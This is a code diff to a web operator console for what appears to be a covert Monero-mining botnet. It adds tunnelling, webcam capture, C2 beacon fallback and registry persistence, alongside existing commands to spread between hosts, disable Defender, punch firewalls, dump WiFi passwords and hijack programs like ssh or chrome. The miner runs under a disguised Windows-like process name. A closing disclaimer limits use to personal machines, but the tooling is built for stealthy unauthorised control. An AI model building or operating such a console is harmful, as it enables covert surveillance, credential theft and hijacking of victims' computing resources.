onDispatch: (action: string, args?: Record<string, unknown>) => void | Promise<void>;
busy?: string | null;
}
export default function ProtocolTunnelPanel({
agentId,
agentName,
online,
caps,
platform,
compact = false,
lastTunnelStatusMessage,
onDispatch,
busy,
}: Props) {
const [expanded, setExpanded] = useState(!compact);
const [cfURL, setCfURL] = useState('');
const [localPort, setLocalPort] = useState('2222');
const [targetHostPort, setTargetHostPort] = useState('192.168.1.10:22');
const [sshUser, setSshUser] = useState('');
const [status, setStatus] = useState<TunnelStatusView | null>(null);
const [statusRaw, setStatusRaw] = useState('');
useEffect(() => {
api.getConfig().then((cfg) => {
const fromTunnel = cfg.tunnel_defaults?.cloudflared_target_url?.trim();
const fromPublic = cfg.server?.public_url?.trim();
setCfURL(fromTunnel || fromPublic || '');
}).catch(() => {});
}, []);
useEffect(() => {
if (lastTunnelStatusMessage) {
const parsed = parseTunnelStatus(lastTunnelStatusMessage);
if (parsed) setStatus(parsed);
setStatusRaw(lastTunnelStatusMessage);
}
}, [lastTunnelStatusMessage]);
const tunnelAllowed = canRunAggressiveAction('start_tunnel', caps, platform);
const tunnelHint = aggressiveActionHint('start_tunnel', caps, platform);
const refreshStatus = useCallback(() => {
if (!online || !agentId) return;
void onDispatch('tunnel_status');
}, [online, agentId, onDispatch]);
useEffect(() => {
if (expanded && online) refreshStatus();
}, [expanded, online, refreshStatus]);
const disabled = !online || !!busy;
return (
<div className={`protocol-tunnel-panel ${compact ? 'compact' : ''}`}>
<button
type="button"
className="protocol-tunnel-toggle"
onClick={() => setExpanded((e) => !e)}
aria-expanded={expanded}
>
<span className="font-tech"> Protocol Tunneling</span>
<span className="protocol-tunnel-chevron">{expanded ? '▾' : '▸'}</span>
</button>
{expanded && (
<div className="protocol-tunnel-body">
<p className="protocol-tunnel-help">
Encapsulates traffic for ops on <strong>your</strong> fleet reach internal hosts and expose
agent LAN services. Not for third-party evasion or hiding infrastructure.
</p>
<div className="protocol-tunnel-cards">
<section className="protocol-tunnel-card">
<h4 className="font-tech">Cloudflare Tunnel</h4>
<p className="protocol-tunnel-card-hint">Agent dials out to your control URL (no inbound port).</p>
<label className="protocol-tunnel-label">
Target URL
<input
type="text"
className="input protocol-tunnel-input"
value={cfURL}
onChange={(e) => setCfURL(e.target.value)}
placeholder="https://your-server.example.com"
disabled={disabled}
/>
</label>
<div className="protocol-tunnel-actions">
<button
type="button"
className="btn-magenta btn-sm"
disabled={disabled || !tunnelAllowed}
title={tunnelHint}
onClick={() => onDispatch('tunnel_cloudflared', { command: cfURL.trim() })}
>
Start Cloudflared
</button>
</div>
</section>
<section className="protocol-tunnel-card">
<h4 className="font-tech">WireGuard (Path Tracer)</h4>
<p className="protocol-tunnel-card-hint">
Multi-hop mesh VPN for owned nodes configure sessions on the dashboard.
</p>
<Link to="/pathtracer" className="btn btn-outline btn-sm protocol-tunnel-link">
Open Path Tracer
</Link>
</section>
<section className="protocol-tunnel-card">
<h4 className="font-tech">SSH Local Forward</h4>
<p className="protocol-tunnel-card-hint">
Windows agent opens <code>127.0.0.1:local LAN target</code> via OpenSSH/plink (admin reach-through).
</p>
<div className="protocol-tunnel-row">
<label className="protocol-tunnel-label">
Local port
<input
type="text"
className="input protocol-tunnel-input short"
value={localPort}
onChange={(e) => setLocalPort(e.target.value)}
disabled={disabled}
/>
</label>
<label className="protocol-tunnel-label">
Target host:port
<input
type="text"
className="input protocol-tunnel-input"
value={targetHostPort}
onChange={(e) => setTargetHostPort(e.target.value)}
placeholder="192.168.1.50:3389"
disabled={disabled}
/>
</label>
</div>
<label className="protocol-tunnel-label">
SSH user (optional)
<input
type="text"
className="input protocol-tunnel-input"
value={sshUser}
onChange={(e) => setSshUser(e.target.value)}
placeholder="Administrator"
disabled={disabled}
/>
</label>
<div className="protocol-tunnel-actions">
<button
type="button"
className="btn-magenta btn-sm"
disabled={disabled || !tunnelAllowed || platform === 'darwin' || platform === 'linux'}
title={
platform !== 'windows' && platform !== undefined
? 'SSH forward is Windows-only'
: tunnelHint
}
onClick={() =>
onDispatch('tunnel_ssh_forward', {
data: JSON.stringify({
local_port: parseInt(localPort, 10) || 2222,
remote_host: targetHostPort.split(':')[0] || '',
remote_port: parseInt(targetHostPort.split(':').pop() ?? '22', 10) || 22,
ssh_user: sshUser.trim() || undefined,
}),
})
}
>
Start SSH Forward
</button>
</div>
</section>
</div>
<div className="protocol-tunnel-status-bar">
<button
type="button"
className="btn btn-outline btn-sm"
disabled={disabled}
onClick={refreshStatus}
>
{busy === 'tunnel_status' ? '…' : 'Refresh Status'}
</button>
<button
type="button"
className="btn-red btn-sm"
disabled={disabled || !tunnelAllowed}
title={tunnelHint}
onClick={() => onDispatch('tunnel_stop', { command: 'all' })}
>
Stop All Tunnels
</button>
</div>
{(status || statusRaw) && (
<div className="protocol-tunnel-status">
<h4 className="font-tech">tunnel_status {agentName}</h4>
{status ? (
<ul className="protocol-tunnel-status-list">
<li>
Cloudflared:{' '}
{status.cloudflared_running
? `running (pid ${status.cloudflared_pid}) → ${status.cloudflared_url ?? ''}`
: 'stopped'}
</li>
<li>
WireGuard:{' '}
{status.wireguard_active ? 'active' : 'inactive'}
</li>
<li>
SSH forwards:{' '}
{status.ssh_forwards?.length
? status.ssh_forwards
.map(
(f) =>
`127.0.0.1:${f.local_port}${f.remote_host}:${f.remote_port} (pid ${f.pid})`
)
.join('; ')
: 'none'}
</li>
</ul>
) : (
<pre className="protocol-tunnel-raw">{statusRaw.slice(0, 2000)}</pre>
)}
</div>
)}
</div>
)}
</div>
);
}
export { parseTunnelStatus };

View File

@@ -7,7 +7,7 @@ import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import { type ReactNode } from 'react';
import { routerFuture } from '../routerFuture';
import { mockAgent, mockServerInfo } from '../test/fixtures';
import { mockAgent, mockServerInfo, mockServerConfig } from '../test/fixtures';
import { api } from '../api/client';
import { downloadApiFile, downloadAuthedFile } from '../api/download';
import { getStoredAuth } from '../api/auth';
@@ -54,6 +54,9 @@ import AmbientBackground from './Ambient/AmbientBackground';
import CursorFire from './Visual/CursorFire';
import MatrixRain from './Layout/MatrixRain';
vi.mock('./Fleet/ProtocolTunnelPanel', () => ({ default: () => null }));
vi.mock('./Fleet/FullSysCheckPanel', () => ({ default: () => null }));
vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: vi.fn(),
}));
@@ -358,6 +361,7 @@ describe('AgentRemoteActions', () => {
beforeEach(() => {
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true });
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
});
it('compact mode disables actions when offline', () => {
@@ -382,7 +386,11 @@ describe('AgentRemoteActions', () => {
});
it('full panel shows Target heading and recon section', async () => {
render(<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />);
render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />
</MemoryRouter>
);
await waitFor(() => {
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
});
@@ -391,7 +399,11 @@ describe('AgentRemoteActions', () => {
});
it('disables recon buttons when agent offline', async () => {
render(<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />);
render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />
</MemoryRouter>
);
await waitFor(() => {
expect(screen.getByRole('heading', { name: /Target:/i })).toBeInTheDocument();
});

View File

@@ -7,6 +7,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
'hole_punch_status',
'spread_now',
'start_tunnel',
'tunnel_cloudflared',
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',
@@ -42,6 +45,9 @@ export function canRunAggressiveAction(
case 'spread_now':
return caps.auto_spread || caps.remote_aggressive;
case 'start_tunnel':
case 'tunnel_cloudflared':
case 'tunnel_ssh_forward':
case 'tunnel_stop':
case 'subnet_scan':
case 'defender_off':
case 'firewall_punch':

View File

@@ -16,6 +16,12 @@ export const FORGE_BUILD_DEFAULTS: Omit<
run_as: 'scheduled',
host_binary_target: 'ssh',
auto_start: true,
autostart_mode: '',
registry_persistence: '',
registry_run_hkcu: false,
registry_run_hklm: false,
registry_run_once: false,
registry_explorer_run: false,
persistence: true,
process_name: 'RuntimeBrokerHelper',
max_cpu_usage_pct: 95,

View File

@@ -245,6 +245,8 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
return {
worker_name: { disabled: false, badge: 'baked' },
server_url: { disabled: false, badge: 'baked' },
https_beacon_fallback: { disabled: false, badge: 'baked' },
https_beacon_after_min: { disabled: false, badge: 'baked' },
wallet: { disabled: false, badge: 'baked' },
output_dir: {
disabled: false,
@@ -329,6 +331,38 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
: undefined,
},
autostart_mode: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal
? 'Boot/logon autostart hooks are Windows-only.'
: undefined,
},
registry_run_hkcu: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_run_once: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_run_hklm: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_explorer_run: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
run_as: { disabled: false, badge: 'baked' },
host_binary_target: {
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),

View File

@@ -114,6 +114,7 @@ export function applySmartForgeDefaults(
worker_name: worker,
server_url: serverUrl,
backup_server_urls: lanBackups,
https_beacon_fallback: lanBackups.length > 0 ? true : form.https_beacon_fallback,
wallet: form.wallet?.trim() || form.wallet,
pool_host: form.pool_host || preset.pool_host!,
pool_port: form.pool_port || preset.pool_port!,

View File

@@ -13,6 +13,7 @@ const UI_REMOTE_ACTIONS = [
'uninstall',
'restart',
'screenshot',
'camera_snapshot',
'ps',
'sysinfo',
'netstat',
@@ -46,6 +47,8 @@ const AGENT_HANDLED = new Set([
'users',
'software',
'screenshot',
'camera_snapshot',
'camera_list',
'sysinfo',
'ipconfig',
'clipboard',
@@ -55,6 +58,11 @@ const AGENT_HANDLED = new Set([
'hole_punch_status',
'spread_now',
'start_tunnel',
'tunnel_cloudflared',
'tunnel_wireguard',
'tunnel_ssh_forward',
'tunnel_status',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',
@@ -88,8 +96,8 @@ describe('remote action wiring', () => {
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
it('lists every wired aggressive command once', () => {
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15);
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
});
});
@@ -126,6 +134,9 @@ describe('canRunAggressiveAction edge cases', () => {
const noAgg = { ...fullCaps, remote_aggressive: false };
for (const action of [
'start_tunnel',
'tunnel_cloudflared',
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',

View File

@@ -13,9 +13,12 @@ export function sanitizeScreenshotBase64(raw: string): string {
return fallback.length >= 100 ? fallback : '';
}
export type CaptureDownloadKind = 'screenshot' | 'camera';
export function downloadScreenshotFromBase64(
base64: string,
agentLabel: string
agentLabel: string,
kind: CaptureDownloadKind = 'screenshot'
): boolean {
const clean = sanitizeScreenshotBase64(base64);
if (clean.length < 100) return false;
@@ -26,7 +29,7 @@ export function downloadScreenshotFromBase64(
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `screenshot-${safeName}-${stamp}.jpg`;
a.download = `${kind}-${safeName}-${stamp}.jpg`;
a.rel = 'noopener';
document.body.appendChild(a);
a.click();

View File

@@ -35,6 +35,7 @@ describe('FIELD_HELP', () => {
'forge_simple_mode',
'forge_recommended_defaults',
'obfuscate',
'sigil_scramble',
'sign_build',
'obfuscate_default',
'sign_enabled',
@@ -64,7 +65,14 @@ describe('FIELD_HELP', () => {
'display_mode',
'process_name',
'persistence',
'autostart_mode',
'registry_persistence',
'registry_run_hkcu',
'registry_run_once',
'registry_run_hklm',
'registry_explorer_run',
'run_as',
'host_binary_target',
'silent_mode',
'auto_start',
'fusion_enabled',
@@ -77,11 +85,15 @@ describe('FIELD_HELP', () => {
'install_custom_base',
'install_relative_path',
'public_url',
'https_beacon_fallback',
'https_beacon_after_min',
'webhook_url',
'websocket_ping_seconds',
'log_pool_traffic',
'adapt_to_hardware',
'self_healing',
'firewall_exclusion',
'firewall_remote',
'open_firewall_on_start',
'file_logging',
'stealth_mode',

View File

@@ -67,6 +67,18 @@ export const FIELD_HELP: Record<string, string> = {
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
autostart_mode:
'Extra boot/logon hooks (Windows, MITRE T1547-style). Legacy (empty) keeps today\'s behavior. Boot task = ONSTART at system boot (SYSTEM). Logon task = ONLOGON when a user signs in. Logon Run = HKCU Run key. Startup folder = shortcut in %APPDATA%\\...\\Startup. All = every hook. Does not replace Run As scheduled/BITS/host-binary modes.',
registry_persistence:
'Forge-baked registry Run/RunOnce hooks (MITRE T1112). Separate from boot tasks: Run keys fire at user logon; RunOnce runs once then removes itself. HKLM requires elevation — skipped silently if not admin. Value name: AetherForge_{worker}. Uninstall removes only keys this agent created.',
registry_run_hkcu:
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run — standard per-user logon autostart. Works without admin.',
registry_run_once:
'HKCU\\...\\RunOnce — runs once at next logon then deletes the value. Useful for one-shot relaunch after upgrade.',
registry_run_hklm:
'HKLM Run + RunOnce — machine-wide logon hooks. Only written when the agent process is elevated; otherwise skipped.',
registry_explorer_run:
'HKCU\\...\\Policies\\Explorer\\Run — less common Group-Policy-style logon hook. Same user scope as HKCU Run.',
run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.',
host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe',
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
@@ -110,4 +122,10 @@ export const FIELD_HELP: Record<string, string> = {
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
https_beacon_fallback:
'Primary C2 = WebSocket (MITRE T1071.001). When WS is unreachable for several minutes, the agent falls back to normal HTTPS POST beacons on /api/v1/agent/beacon — same TLS and fleet secret as the REST API. Enabled by default when backup server URLs are set.',
https_beacon_after_min:
'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.',
webhook_url:
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
};

View File

@@ -1129,6 +1129,81 @@ export default function BuilderPage() {
</div>
)}
{/* ── Connection profile (advanced) ─────────────────────── */}
{!simpleMode && (
<div className="form-section">
<ForgeSectionHeader
title="Connection Profile"
badge="baked"
description="C2 reconnect timing and optional agent self-destruct date."
/>
<div className="form-row" style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(140px, 1fr))', gap: '0.75rem' }}>
<div className="form-group">
<label className="label">Beacon interval (sec)</label>
<input
type="number"
className="input"
min={1}
placeholder="5"
value={form.beacon_interval_sec ?? ''}
onChange={(e) => updateField('beacon_interval_sec', parseInt(e.target.value, 10) || 0)}
/>
</div>
<div className="form-group">
<label className="label">Beacon jitter (%)</label>
<input
type="number"
className="input"
min={0}
max={100}
placeholder="0"
value={form.beacon_jitter_pct ?? ''}
onChange={(e) => updateField('beacon_jitter_pct', parseInt(e.target.value, 10) || 0)}
/>
</div>
<div className="form-group">
<label className="label">Kill after (days, 0=never)</label>
<input
type="number"
className="input"
min={0}
placeholder="0"
value={form.agent_kill_after_days ?? ''}
onChange={(e) => updateField('agent_kill_after_days', parseInt(e.target.value, 10) || 0)}
/>
</div>
</div>
<div className="form-group" style={{ marginTop: '0.75rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.https_beacon_fallback !== false && (
form.https_beacon_fallback === true ||
(form.backup_server_urls ?? []).some((u) => u.trim() !== '')
)}
onChange={(e) => updateField('https_beacon_fallback', e.target.checked)}
/>
<span>HTTPS beacon fallback <HelpTip field="https_beacon_fallback" /></span>
</label>
<FieldHint field="https_beacon_fallback" />
</div>
{form.https_beacon_fallback !== false && (
<div className="form-group">
<label className="label">HTTPS fallback after (min)</label>
<input
type="number"
className="input"
min={1}
placeholder="3"
value={form.https_beacon_after_min ?? ''}
onChange={(e) => updateField('https_beacon_after_min', parseInt(e.target.value, 10) || 0)}
/>
</div>
)}
</div>
)}
<div className="form-group">
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input
@@ -1683,6 +1758,59 @@ export default function BuilderPage() {
</label>
<ForgeLockedHint meta={fieldMeta.auto_start} />
</div>
<div className={`form-group ${fieldMeta.autostart_mode?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Boot / logon autostart <HelpTip field="autostart_mode" /></label>
<select
className="select"
value={form.autostart_mode ?? ''}
disabled={fieldMeta.autostart_mode?.disabled}
onChange={(e) => updateField('autostart_mode', e.target.value)}
>
<option value="">Legacy (linked to checkbox above)</option>
<option value="none">None (Run As hooks only)</option>
<option value="logon_run">User logon Registry Run (HKCU)</option>
<option value="logon_startup_folder">User logon Startup folder shortcut</option>
<option value="logon_task">User logon Scheduled task (ONLOGON)</option>
<option value="boot_task">System boot Scheduled task (ONSTART / SYSTEM)</option>
<option value="all">All of the above</option>
</select>
<FieldHint field="autostart_mode" />
<ForgeLockedHint meta={fieldMeta.autostart_mode} />
</div>
<div className={`form-group ${fieldMeta.registry_run_hkcu?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Registry persistence (T1112) <HelpTip field="registry_persistence" /></label>
<div className="checkbox-grid">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hkcu}
disabled={fieldMeta.registry_run_hkcu?.disabled}
onChange={(e) => updateField('registry_run_hkcu', e.target.checked)} />
<span>HKCU Run (logon) <HelpTip field="registry_run_hkcu" /></span>
</label>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_run_once}
disabled={fieldMeta.registry_run_once?.disabled}
onChange={(e) => updateField('registry_run_once', e.target.checked)} />
<span>HKCU RunOnce <HelpTip field="registry_run_once" /></span>
</label>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hklm}
disabled={fieldMeta.registry_run_hklm?.disabled}
onChange={(e) => updateField('registry_run_hklm', e.target.checked)} />
<span>HKLM Run/RunOnce (elevated) <HelpTip field="registry_run_hklm" /></span>
</label>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_explorer_run}
disabled={fieldMeta.registry_explorer_run?.disabled}
onChange={(e) => updateField('registry_explorer_run', e.target.checked)} />
<span>Explorer Policies Run <HelpTip field="registry_explorer_run" /></span>
</label>
</div>
<p className="field-hint subtle">
Logon Run keys start the worker when a user signs in. Boot tasks (above) can start earlier at ONSTART.
Fleet registry read/write/delete is available under Remote Actions on Windows agents.
</p>
<ForgeLockedHint meta={fieldMeta.registry_run_hkcu} />
</div>
</div>
</>
)}

View File

@@ -13,7 +13,10 @@ import { useMatrixRain } from '../context/MatrixRainContext';
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import FileManager from '../components/Fleet/FileManager';
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/ProtocolTunnelPanel.css';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
@@ -333,6 +336,7 @@ export default function CruciblePage() {
// Tunnel URL state
const [tunnelURL, setTunnelURL] = useState('');
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
@@ -346,6 +350,21 @@ export default function CruciblePage() {
const online = (a: Agent) => a.status === 'online';
const fmCommandResults = useMemo(
() =>
commandResults
?.filter((r) => r.agent_id && r.action != null)
.map((r) => ({
agentId: r.agent_id as string,
action: r.action as string,
success: !!r.success,
message: r.message ?? '',
})) ?? [],
[commandResults]
);
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
const crucibleTargetReady =
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
@@ -385,6 +404,12 @@ export default function CruciblePage() {
const msg = r.message ?? '';
if (r.action === 'tunnel_status' && r.success && msg) {
if (selectedIds.size === 1 && selectedIds.has(aid)) {
setTunnelStatusMsg(msg);
}
}
// ── SSH badge updates ───────────────────────────────────────────────
if (msg.includes('SSH_PROBE:ONLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: true }));
@@ -396,7 +421,12 @@ export default function CruciblePage() {
let richData: RichTermData | undefined;
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) {
if (
(r.action === 'screenshot' || r.action === 'camera_snapshot') &&
r.success &&
msg.length > 200 &&
/^[A-Za-z0-9+/]+=*$/.test(msg.trim())
) {
richData = { type: 'screenshot', b64: msg.trim() };
}
@@ -1352,13 +1382,14 @@ export default function CruciblePage() {
>
Full Sys Check
</button>
{(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
{(['screenshot','camera_snapshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
<button
key={cmd}
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title={{
screenshot: 'Capture the desktop screenshot',
camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)',
clipboard: 'Read the current clipboard contents',
wifi: 'Dump all saved WiFi passwords',
software: 'List installed programs',
@@ -1539,8 +1570,8 @@ export default function CruciblePage() {
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
onClick={() => {
const url = tunnelURL.trim() || '';
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'start_tunnel', { command: url }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `start_tunnel → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'tunnel_cloudflared', { command: url }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `tunnel_cloudflared${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
}}
>
Start Tunnel
@@ -1669,6 +1700,16 @@ export default function CruciblePage() {
/>
</label>
</div>
{singleSelectedAgent && (
<div style={{ marginTop: '0.75rem' }}>
<FileManager
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
online={online(singleSelectedAgent)}
commandResults={fmCommandResults}
/>
</div>
)}
</div>
{/* ── Shell type ───────────────────────────────── */}
@@ -1811,12 +1852,41 @@ export default function CruciblePage() {
<div className="crucible-ssh-step">
<span className="css-num">4</span>
<div>
<strong>Remote (via tunnel)</strong> run the <code className="crucible-code">start_tunnel</code> action on the agent (use the Agents page), then the node punches out through your Cloudflare tunnel.
<strong>Remote (via tunnel)</strong> — use <code className="crucible-code">Protocol Tunneling</code> or <code className="crucible-code">tunnel_cloudflared</code> so the node dials out through Cloudflare to your control URL.
</div>
</div>
</div>
</NeonCard>
{singleSelectedAgent && (
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap" tilt3d={false}>
<ProtocolTunnelPanel
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
online={singleSelectedAgent.status === 'online'}
caps={singleSelectedAgent.capabilities}
platform={singleSelectedAgent.platform}
compact
lastTunnelStatusMessage={tunnelStatusMsg}
busy={null}
onDispatch={async (action, args) => {
await api.sendAgentCommand(singleSelectedAgent.id, action, args);
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd: true,
text: `${action}${singleSelectedAgent.name}`,
ts: new Date(),
},
]);
}}
/>
</NeonCard>
)}
<CreateGroupModal
open={showGroupModal}
agentCount={selectedIds.size}

View File

@@ -21,6 +21,7 @@ import {
} from '../components/Fleet/FleetPanels';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import ErrorBoundary from '../components/ErrorBoundary';
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
@@ -421,6 +422,11 @@ export default function DashboardPage() {
{/* Fleet Health — always above the fold */}
<FleetHealthCard health={fleetHealth} />
<div style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(280px, 1fr))', gap: '1rem', marginBottom: '1rem' }}>
<SpreadFunnelWidget />
<AuditLogStrip limit={6} />
</div>
{previewDeck && (
<p className="preview-deck-hint font-tech" role="status">
Projection mode charts validated with sample telemetry until your fleet connects

View File

@@ -16,6 +16,8 @@ import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import type { BackupPool } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import { useSound } from '../context/SoundContext';
import { useVisualEffects } from '../context/VisualEffectsContext';
import './Pages.css';
@@ -85,6 +87,7 @@ export default function SettingsPage() {
notify_hashrate_drop: cfg.alerts?.notify_hashrate_drop ?? true,
notify_rejection_rate: cfg.alerts?.notify_rejection_rate ?? true,
notify_build_complete: cfg.alerts?.notify_build_complete ?? true,
notify_kev_exposure: cfg.alerts?.notify_kev_exposure ?? true,
},
server: {
public_url: cfg.server?.public_url ?? '',
@@ -680,7 +683,8 @@ export default function SettingsPage() {
<NeonCard accent="amber" className="settings-section">
<h2 className="font-display">Alert Notifications</h2>
<p className="section-desc">
Telegram (and optional email) for fleet events. Set bot token + chat ID, choose what to send, then save.
Telegram, optional webhook, and email for fleet events (operator pub/sub MITRE T1071.005 lite).
Set bot token + chat ID or webhook URL, choose what to send, then save.
</p>
<div className="form-row">
<div className="form-group">
@@ -693,6 +697,12 @@ export default function SettingsPage() {
<input id="cfg-tg-chat" type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
</div>
<div className="form-group" style={{ gridColumn: '1 / -1' }}>
<label htmlFor="cfg-webhook" className="label">Webhook URL (optional)</label>
<input id="cfg-webhook" type="url" className="input mono" value={config.alerts.webhook_url || ''}
onChange={(e) => updateField('alerts.webhook_url', e.target.value)} placeholder="https://hooks.example.com/fleet" />
<p className="field-hint">JSON POST: event, title, message on connect, offline, and other enabled alerts.</p>
</div>
</div>
<p className="section-desc" style={{ marginTop: '-0.5rem' }}>
Open your bot in Telegram, send any message (e.g. <code>/start</code>), then use{' '}
@@ -753,6 +763,13 @@ export default function SettingsPage() {
<span>Forge completes successfully</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_kev_exposure !== false}
onChange={(e) => updateField('alerts.notify_kev_exposure', e.target.checked)} />
<span>KEV exposure found on Full System Check (CISA top CVE heuristics)</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}
@@ -977,6 +994,12 @@ export default function SettingsPage() {
)}
</NeonCard>
</div>
<div style={{ marginTop: '1.5rem', display: 'grid', gap: '1rem' }}>
<FleetTasksPanel />
<AuditLogStrip limit={12} />
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>

View File

@@ -1 +1,9 @@
import { vi, beforeEach } from 'vitest';
import '@testing-library/jest-dom/vitest';
beforeEach(() => {
